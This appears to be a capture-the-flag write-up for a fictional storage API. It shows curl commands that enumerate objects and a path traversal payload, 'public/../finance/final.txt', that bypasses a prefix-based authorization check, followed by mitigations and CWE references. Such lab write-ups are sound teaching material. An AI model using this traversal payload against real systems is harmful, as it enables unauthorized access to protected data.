Overview
The challenge presents a fictional harbor collection desk backed by an object-storage-style API. The provided storage.json describes the storage configuration and adapter (edge-store/4) and lists three inventory entries: public/lineup.txt, public/receipts.json, and finance/final.txt. The configured scope is public/*, but finance/final.txt lies outside it. The goal is to retrieve the protected object despite the namespace restriction.
The API exposes:
GET /api/objects -> lists public object keys
GET /api/object?key=... -> retrieves an object
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
jq is used to pretty-print JSON output, but plain curl works too. Download storage.json from $TARGET/downloads/storage.json.
Recon
Step 1 — Download and inspect storage.json
Goal: Identify the configured scope and any inventory entries outside it.
cat storage.json
{
"scope": "public/*",
"inventory": ["public/lineup.txt", "public/receipts.json", "finance/final.txt"],
"adapter": "edge-store/4"
}
Interpretation: The scope is public/*, but finance/final.txt is listed in the inventory outside that scope — a likely target.
Step 2 — Enumerate public objects via the API
Goal: Confirm which objects the API actually exposes.
curl -s "$TARGET/api/objects" | jq .
{
"keys": ["public/lineup.txt", "public/receipts.json"]
}
Interpretation: The API exposes only the two public objects. finance/final.txt exists internally (per storage.json) but is intentionally hidden from the public listing.
Enumeration
Step 3 — Retrieve a public object to confirm baseline behavior
Goal: Verify object retrieval works for an in-scope key.
curl -iG "$TARGET/api/object" \
--data-urlencode 'key=public/lineup.txt'
HTTP/1.1 200 OK
Content-Type: application/json
{"body": "The next performance begins at eight."}
Interpretation: In-scope objects are retrievable via GET /api/object?key=....
Step 4 — Test direct access to the hidden object
Goal: Confirm direct access to finance/final.txt is blocked.
curl -iG "$TARGET/api/object" \
--data-urlencode 'key=finance/final.txt'
HTTP/1.1 403 FORBIDDEN
{"message": "The request could not be completed.", "ok": false}
Interpretation: Direct access to the finance object is blocked. The remaining question is how the application checks whether a key is inside public/*.
Vulnerability Analysis
The flaw class is Path Traversal / Improper Path Canonicalization (CWE-22) combined with an authorization bypass (CWE-284): the app authorizes the wrong representation of the path.
Conceptually, an insecure implementation behaves like:
if key.startswith("public/"):
return get_object(key)
For key = "public/../finance/final.txt", the prefix check succeeds because the raw string starts with public/, while the storage layer resolves it to finance/final.txt.
Exploitation
Step 5 — Bypass the namespace restriction with path traversal
Goal: Retrieve finance/final.txt by satisfying the public/ prefix check while resolving outside it.
curl -iG "$TARGET/api/object" \
--data-urlencode 'key=public/../finance/final.txt'
HTTP/1.1 200 OK
Content-Type: application/json
{"body": "safctf{REDACTED}"}
Interpretation: The traversal payload passes the apparent public-path requirement while resolving to the protected object — the flag is returned directly.
Flag
safctf{REDACTED}
Retrieved from finance/final.txt via GET /api/object?key=public/../finance/final.txt.
Dead Ends
None recorded — direct access to finance/final.txt was correctly blocked, and the traversal payload worked on the first attempt.
Lessons / Takeaways
- Inspect challenge-provided configuration first:
storage.jsonrevealed the existence offinance/final.txt. - Compare the configured scope with the inventory — the discrepancy (
public/*vsfinance/final.txt) pointed at the target. - Enumerate normal API behavior before attacking:
/api/objectsshowed only public objects. - When an API accepts paths, test canonicalization:
public/../finance/final.txtbypassed the namespace restriction. - Authorization must be performed against the canonicalized resource, not the attacker-controlled raw path.
Mitigations
- Canonicalize the requested path before performing the authorization check (
normalize_path(key)then checkstartswith("public/")). - For filesystem-backed storage, resolve the path and verify it remains beneath the intended base directory (
Path.resolve()+is_relative_to()). - Never authorize on a raw, attacker-supplied path.
Techniques
- Path Traversal
- Authorization Bypass
References
- OWASP, “Path Traversal”: https://owasp.org/www-community/attacks/Path_Traversal
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’): https://cwe.mitre.org/data/definitions/22.html
- CWE-284: Improper Access Control: https://cwe.mitre.org/data/definitions/284.html

